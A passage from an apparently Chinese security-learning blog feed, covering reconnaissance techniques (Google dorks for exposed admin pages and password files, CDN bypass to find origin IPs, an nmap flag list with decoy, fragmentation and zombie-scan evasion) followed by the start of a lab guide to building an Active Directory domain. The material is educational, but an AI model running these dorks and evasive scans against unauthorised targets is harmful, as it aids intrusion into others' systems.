&lt;h4&gt;5、征信查询&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;企业征信机构记录了一家企业的基本信息，历史沿革，股东及出资等信息的平台。

企查查：https://www.qcc.com

天眼查：https://www.tianyancha.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;6、DNS查询&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;获取域名或者IP地址，并进行反向查找以快速显示同一服务器承载的所有其他域。

https://tools.ipip.net/

https://www.dnsdb.io

https://www.ip138.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;7、IP地址查询&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;根据IP地址查询同一IP地址的其他信息。

查询：https://www.ip138.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;8、备案号&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;备案号是网站是否合法注册经营的标志，一个网站域名要上线必然要经过备案程序，通过备案号反查可查询目标的所有合法网站。

查询：

http://icp.chinaz.com/

http://beian.miit.gov.cn
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;9、敏感信息泄露&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;gitHub是全球最大的面向开源及私有软件项目的托管平台。

许多企业的开发人员在上传开源代码到github往往忽略了将密码等敏感信息删除导致信息泄露。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/60d52008dd-1698506917730.png&quot; alt=&quot;1698506917730&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;10、JS文件探测&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;1.JS里能找到啥？

作为一个安全从业人员，我们最关心的就是Js文件中的这些东西：会增加攻击面的信息（URL，域名等）

敏感信息（密码，API密钥，bucket等）

代码中的潜在危险函数操作（eval，dangerallySetInnerHTML等）

2.具有已知漏洞的组件（过时的框架等）怎么去找？

识别并收集应用程序中的JavaScript文件

使收集的JavaScript代码可读（取消最小化/反混淆）识别可能导致安全问题的信息（找敏感词）
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;11、社会工程学&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;社会工程学：利用心理学、行为学、揣摩、推理外在信息去分析内在信息，获取密码、心理性格、做事习惯，分析漏洞。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/8417bd6121-1698507039582.png&quot; alt=&quot;1698507039582&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;三、Google Hacking&lt;/h3&gt;
&lt;h4&gt;1、Google Hacking&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	GoogleHacking是利用谷歌搜索的强大，来在浩瀚的互联网中搜索到我们需要的信息。轻量级的搜索可以搜素出一些遗留后门，不想被发现的后台入口，中量级的搜索出一些用户信息泄露，源代码泄露，未授权访问等等，重量级的则可能是mdb文件下载，CMS未被锁定install页面，网站配置密码，php远程文件包含漏洞等重要信息。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;1.基本搜索：&lt;/h5&gt;
&lt;h6&gt;1)逻辑与：and&lt;/h6&gt;
&lt;h6&gt;2)逻辑或：or&lt;/h6&gt;
&lt;h6&gt;3)逻辑非：-&lt;/h6&gt;
&lt;h6&gt;4)完整匹配：&quot;关键词&quot;&lt;/h6&gt;
&lt;h6&gt;5)通配符：*?&lt;/h6&gt;
&lt;h5&gt;2.高级搜索：&lt;/h5&gt;
&lt;h6&gt;1)intext&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;寻找正文中含有关键字的网页，例如：intext:后台登录将只返回正文中包含后台登录的网页
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/ff93b7ccd7-1698507248277.png&quot; alt=&quot;1698507248277&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h6&gt;2)intitle&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;	寻找标题中含有关键字的网页，例如：intitle:后台登录将只返回标题中包含后台登录的网页，intitle:后台登录密码将返回标题中包含黑客而正文中包含中国的网页
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/6a954abbf4-1698507380131.png&quot; alt=&quot;1698507380131&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h6&gt;3)alltitle&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;用法和intitle类似，只不过可以指定多个词，例如：alltitle:后台登录管理员将返回标题中包含后台登录和管理员的网页
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/53f9d80ed2-1698507537369.png&quot; alt=&quot;1698507537369&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h6&gt;4)inurl&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;将返回url中含有关键词的网页：例如：inurl:/login.php将返回url中含有Login的网页
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/e323fca4ad-1698507633053.png&quot; alt=&quot;1698507633053&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h6&gt;5)site&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;指定访问的站点，例如：site:baidu.cominurl:Login将只在baidu.com中查找url中含有Login的网页
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/b5a820bd73-1698507683679.png&quot; alt=&quot;1698507683679&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h6&gt;6)filetype&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;指定访问的文件类型，例如：site:baidu.comfiletype:pdf将只返回baidu.com站点上文件类型为pdf的网页
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/29cb7a46c7-1698507746915.png&quot; alt=&quot;1698507746915&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h6&gt;7)link&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;指定链接的网页，例如：link:www.baidu.com将返回所有包含指向www.baidu.com的网页
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/e73d0682cf-1698508232328.png&quot; alt=&quot;1698508232328&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h6&gt;8)related&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;相似类型的网页，例如：related:www.xjtu.edu.cn将返回与www.xjtu.edu.cn相似的页面，相似指的是网页的布局相似
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/962d5a0ba5-1698508284529.png&quot; alt=&quot;1698508284529&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h6&gt;9)cache&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;网页快照，谷歌将返回给你他存储下来的历史页面，如果你同时制定了其他查询词，将在搜索结果里以高亮显示，例如：cache:www.baidu.comguest，将返回指定网站的缓存，并且正文中含有guest
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/33b08c3d67-1698508348548.png&quot; alt=&quot;1698508348548&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h6&gt;10)info&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;返回站点的指定信息，例如：info:www.baidu.com将返回百度的一些信息
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/b8801896f0-1698508444012.png&quot; alt=&quot;1698508444012&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h6&gt;11)define&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;返回某个词语的定义，例如：define:Hacker将返回关于Hacker的定义
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/8559260d20-1698508502106.png&quot; alt=&quot;1698508502106&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h5&gt;3.常用查询语句&lt;/h5&gt;
&lt;h6&gt;1）查找网站后台&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;site:xx.comintext:管理

site:xx.cominurl:login 

site:xx.comintitle:后台
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;2）查看服务器使用的程序&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;site:xx.comfiletype:asp 

site:xx.comfiletype:php 

site:xx.comfiletype:jsp 

site:xx.comfiletype:aspx
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;3）查看上传漏洞&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;site:xx.cominurl:file

site:xx.cominurl:load
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;4.一些有趣的查询&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;利用Indexof语法去发现允许目录浏览的web网站，就像在本地的普通目录一样。下面是一些有趣的查询：

indexof/admin

indexof/passwd

indexof/password

indexof/mail

&quot;indexof/&quot;+passwd

&quot;indexof/&quot;+password.txt

&quot;indexof/&quot;+.htaccess

&quot;indexof/root&quot;

&quot;indexof/cgi-bin&quot;

&quot;indexof/logs&quot;

&quot;indexof/config&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、CDN绕过&lt;/h4&gt;
&lt;h5&gt;1.多地ping（超级ping）&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;通过多个地区的服务器去ping，查看ip地址是否是一样的

https://ping.chinaz.com/
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.DNS的绑定查询&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;大部分网站早期可能没有开CDN，则会有dns历史遗留下来。

CDN访问有流量上限，用大量的访问消耗完流量，继续访问就是真实的IP。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;3.子域名查询&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;主域名有开CDN，子域名没有开CDN，子域名的IP地址就是这个服务器的真实地址。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;4.国外ping&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;大部分用户在国内，只考虑在国内部署CDN，用国外地址请求则会访问真实的服务器。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;5.网站的邮箱服务器&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;邮箱服务器大部分不会做CDN，所以是真实IP的几率很高。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;6.一些工具网站&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;查找真实IP:

https://get-site-ip.com/

工具：

https://github.com/boy-hack/w8fuckcdn

https://github.com/Tai7sy/fuckcdn
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;四、端口扫描&lt;/h3&gt;
&lt;h4&gt;1、端口扫描技术&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;通常使用专门的端口扫描工具来进行。可以详细收集目标开放的端口、服务、应用版本、操作系统、活跃主机等多种信息。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/38befdf902-1698509159897.png&quot; alt=&quot;1698509159897&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h5&gt;1）Nmap（NetworkMapper）&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;Nmap（NetworkMapper），在网络中具有强大的信息收集能力。

Nmap具备主机探测、服务/版本检测、操作系统检测、网络路由跟踪、Nmap脚本引擎的功能，在Kali中右键鼠标选择“打开终端”输入nmap和对应参数进行使用。

基本命令格式：nmap[参数]IP/IP段/主机名

如： nmap –v -sS –O 10.2.2.2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-09-python-crawler-osint/ac4054d79c-1698509297709.png&quot; alt=&quot;1698509297709&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1.nmap -sT 192.168.96.4 //TCP连接扫描，不安全，慢

2.nmap -sS 192.168.96.4 //SYN扫描,使用最频繁，安全，快

3.nmap -Pn 192.168.96.4 //目标机禁用ping，绕过ping扫描

4.nmap -sU 192.168.96.4 //UDP扫描,慢,可得到有价值的服务器程序

5.nmap -sI 僵尸ip目标ip //使用僵尸机对目标机发送数据包

6.nmap -sA 192.168.96.4 //检测哪些端口被屏蔽

7.nmap 192.168.96.4 -p &amp;lt;portnumber&amp;gt; //对指定端口扫描

8.nmap 192.168.96.1/24 //对整个网段的主机进行扫描

9.nmap 192.168.96.4 -oX myscan.xml //对扫描结果另存在myscan.xml

10.nmap -T1~6 192.168.96.4 //设置扫描速度，一般T4足够。

11.nmap -sV 192.168.96.4 //对端口上的服务程序版本进行扫描

12.nmap -O 192.168.96.4 //对目标主机的操作系统进行扫描

13.nmap -sC &amp;lt;scirptfile&amp;gt; 192.168.96.4 //使用脚本进行扫描，耗时长

14.nmap -A 192.168.96.4 //强力扫描，耗时长

15.nmap -6 ipv6地址 //对ipv6地址的主机进行扫描

16.nmap -f 192.168.96.4 //使用小数据包发送，避免被识别出

17.nmap –mtu &amp;lt;size&amp;gt; 192.168.96.4 //发送的包大小,最大传输单元必须是8的整数

18.nmap -D &amp;lt;假ip&amp;gt; 192.168.96.4 //发送参杂着假ip的数据包检测

19.nmap --source-port &amp;lt;portnumber&amp;gt; //针对防火墙只允许的源端口

20.nmap –data-length: &amp;lt;length&amp;gt; 192.168.96.4 //改变发生数据包的默认的长度，避免被识别出来是nmap发送的。

21.nmap -v 192.168.96.4 //显示冗余信息(扫描细节)

22.nmap -sn 192.168.96.4 //对目标进行ping检测，不进行端口扫描（会发送四种报文确定目标是否存活,）

23.nmap -sP 192.168.96.4 //仅仅对目标进行ping检测。

24.nmap -n/-p 192.168.96.4 //-n表示不进行dns解析，-p表示要

25.nmap --system-dns 192.168.96.4 //扫描指定系统的dns服务器

26.nmap –traceroute 192.168.96.4 //追踪每个路由节点。

27.nmap -PE/PP/PM:使用ICMPecho,timestamp,andnetmask请求包发现主机。

28.nmap -sP 192.168.96.4 //主机存活性扫描，arp直连方式。

29.nmap -iR [number] //对随机生成number个地址进行扫描。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;五、黑暗搜索引擎&lt;/h3&gt;
&lt;h4&gt;1、Shodan&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	CNNMoney的一篇文章写道，虽然目前人们都认为谷歌是最强劲的搜索引擎，但Shodan才是互联网上最可怕的搜索引擎。
	
	与谷歌不同的是，Shodan不是在网上搜索网址，而是直接进入互联网的背后通道。Shodan可以说是一款“黑暗”谷歌，一刻不停的在寻找着所有和互联网关联的服务器、摄像头、打印机、路由器等等。每个月Shodan都会在大约5亿个服务器上日夜不停地搜集信息。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、ZoomEye&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	国内互联网安全厂商知道创宇开放了他们的海量数据库，对之前沉淀的数据进行了整合、整理，打造了一个名符其实的网络空间搜索引擎ZoomEye，该搜索引擎的后端数据计划包括两部分：
	
	1，网站组件指纹：包括操作系统，Web服务，服务端语言，Web开发框架，Web应用，前端库及第三方组件等等。
	
	2，主机设备指纹：结合NMAP大规模扫描结果进行整合。
	
目前只上线了第一部分网站组件指纹。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3、Fofa&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	Fofa是白帽汇推出的一款网络空间搜索引擎，它通过进行网络空间测绘，能够帮助研究人员或者企业迅速进行网络资产匹配。例如进行漏洞影响范围分析、应用分布统计、应用流行度等。在渗透测试过程中，Fofa能帮助测试人员快速发现目标资产。
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>AD 域环境搭建与域策略配置</title><link>https://wangyi187.top/posts/windows-ad-domain/</link><guid isPermaLink="true">https://wangyi187.top/posts/windows-ad-domain/</guid><description>AD域&amp;域环境的搭建&amp;域策略配置 一、AD域 二、域环境的搭建 1、实验环境 服务器:Windows server 2008 R2 客户机:Windows 7 专业版 2、配置 1</description><pubDate>Fri, 26 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;AD域&amp;amp;域环境的搭建&amp;amp;域策略配置&lt;/h1&gt;
&lt;hr /&gt;
&lt;h2&gt;一、AD域&lt;/h2&gt;
&lt;h2&gt;二、域环境的搭建&lt;/h2&gt;
&lt;h3&gt;1、实验环境&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;服务器:Windows server 2008 R2&lt;/p&gt;
&lt;p&gt;客户机:Windows 7 专业版&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;2、配置&lt;/h3&gt;
&lt;h4&gt;1&amp;gt;服务器配置&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;打开网络共享中心，设置静态IP地址，如下配置，DNS指向域控即自己的IP地址&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/04902a4544-image-20240126185644590.png&quot; alt=&quot;image-20240126185644590&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;而后打开服务器管理器&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/575120e052-image-20240126184232401.png&quot; alt=&quot;image-20240126184232401&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/56cb9a9659-image-20240126184303464.png&quot; alt=&quot;image-20240126184303464&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;安装AD域服务&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/fb3cd2c121-image-20240126184632403.png&quot; alt=&quot;image-20240126184632403&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/9737641f87-image-20240126184654816.png&quot; alt=&quot;image-20240126184654816&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一直下一步到现有林这个地方，在新林中新建域&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/f315f1193a-image-20240126184837532.png&quot; alt=&quot;image-20240126184837532&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这里取的域名随便写，我写的是csb.com&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/34edcb112a-image-20240126184943811.png&quot; alt=&quot;image-20240126184943811&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;林功能级别选择Windows Server 2008 R2&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/37498d7c14-image-20240126185141414.png&quot; alt=&quot;image-20240126185141414&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这里它提示我们DNS服务器还没装，所以我们先部署一下DNS服务器，直接下一步就好&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/860d254a31-image-20240126185827869.png&quot; alt=&quot;image-20240126185827869&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这里是用来删除AD域服务所需要的还原密码，这里我为了方便好记将两个密码都设置成Administrator账户的登入密码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/2a3c15b81a-image-20240126190143819.png&quot; alt=&quot;image-20240126190143819&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;等它完成，将完成后重新启动勾选上&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/0f4832addc-image-20240126190430758.png&quot; alt=&quot;image-20240126190430758&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重启启动后输入域管理员的密码，也就是刚才设置的还原密码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/4dfc94be66-image-20240126200905972.png&quot; alt=&quot;image-20240126200905972&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;右键csb.com新建组织单位&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/5ff9dfae62-image-20240126201118231.png&quot; alt=&quot;image-20240126201116048&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;名称任意，我这里填写wangyi&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/d3360885a6-image-20240126201257623.png&quot; alt=&quot;image-20240126201257623&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;右键新建的组织单位，然后再新建用户&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/ec9421a71e-image-20240126201425676.png&quot; alt=&quot;image-20240126201425676&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这里我域用户名是csb，密码和域管理员密码一样，为了方便好记&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/905f2187dd-image-20240126201648172.png&quot; alt=&quot;image-20240126201648172&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;依旧是为了方便设置跟之前相同的密码，因为是自己用，密码设置永不过期&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/0cd9d34a4f-image-20240126201801011.png&quot; alt=&quot;image-20240126201801011&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;就这样，服务器配置完毕&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/f4cadc1ec7-image-20240126201904911.png&quot; alt=&quot;image-20240126201904911&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;2&amp;gt;客户机配置&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;打开网络共享中心，设置静态IP地址，同属域的相同网段即可，如下配置，DNS指向域控即服务器的IP&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/8818e8c941-image-20240126190944516.png&quot; alt=&quot;image-20240126190944516&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;计算机-&amp;gt;右键属性，记住此时的计算机名，此时我的计算机名是&lt;code&gt;WIN-OV4C53KRKAH&lt;/code&gt;后面如果需要登入本地的用户就需要&lt;code&gt;计算机名\用户名&lt;/code&gt;而&lt;code&gt;域名\用户名&lt;/code&gt;是登录到域中的用户(注意这里都是反斜杠)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/152c7a9559-image-20240126202423823.png&quot; alt=&quot;image-20240126202423823&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;将计算机加入到域中&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/b21fe0a57a-image-20240126202827388.png&quot; alt=&quot;image-20240126202827388&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这时候它会让我填写用户名和密码，这里的用户名和密码就是我们之前创建的csb的域用户&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/6c31987486-image-20240126203038803.png&quot; alt=&quot;image-20240126203038803&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;成功加入到域中，根据步骤指引，重启计算机即可生效&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/8b26800eaf-image-20240126203131812.png&quot; alt=&quot;image-20240126203131812&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重启后发现还是本地用户&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/d1731cfad2-image-20240126203413993.png&quot; alt=&quot;image-20240126203413993&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;但此时我们需要登录到域用户，所以点击切换用户，输入 域名\用户名(注意是反斜杠) 和 密码 即可登录域用户&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/4ca84497dc-image-20240126203752232.png&quot; alt=&quot;image-20240126203752232&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;登陆成功后再次查看计算机属性可以发现成功加入到域环境中&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/8e2fcfa0ff-image-20240126204111944.png&quot; alt=&quot;image-20240126204111944&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;转到服务器查看发现computers多出了一台机子，就是刚才添加的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/4699d8f16d-image-20240126205712975.png&quot; alt=&quot;image-20240126205712975&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h2&gt;三、域策略配置&lt;/h2&gt;
&lt;h3&gt;1、桌面策略&lt;/h3&gt;
&lt;p&gt;​	要注意域策略和本地策略配置不一样，本地安全策略肯定是需要本地账户进行调控，不能用域用户的管理员配置这台主机的本地安全策略，所以说在域中，域的策略要在组策略管理中设置&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/4f0b80559e-image-20240126211055182.png&quot; alt=&quot;image-20240126211055182&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;右键wangyi这个组织单位创建GPO(域内组策略)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/b81d548487-image-20240126211406025.png&quot; alt=&quot;image-20240126211406025&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;此处命名随意，但是此时我们要编辑桌面策略，就取名叫zhuomian吧&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/176547f51f-image-20240126211633107.png&quot; alt=&quot;image-20240126211633107&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/windows-ad-domain/4f171cf2fd-image-20240126211706175.png&quot; alt=&quot;image-20240126211706175&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
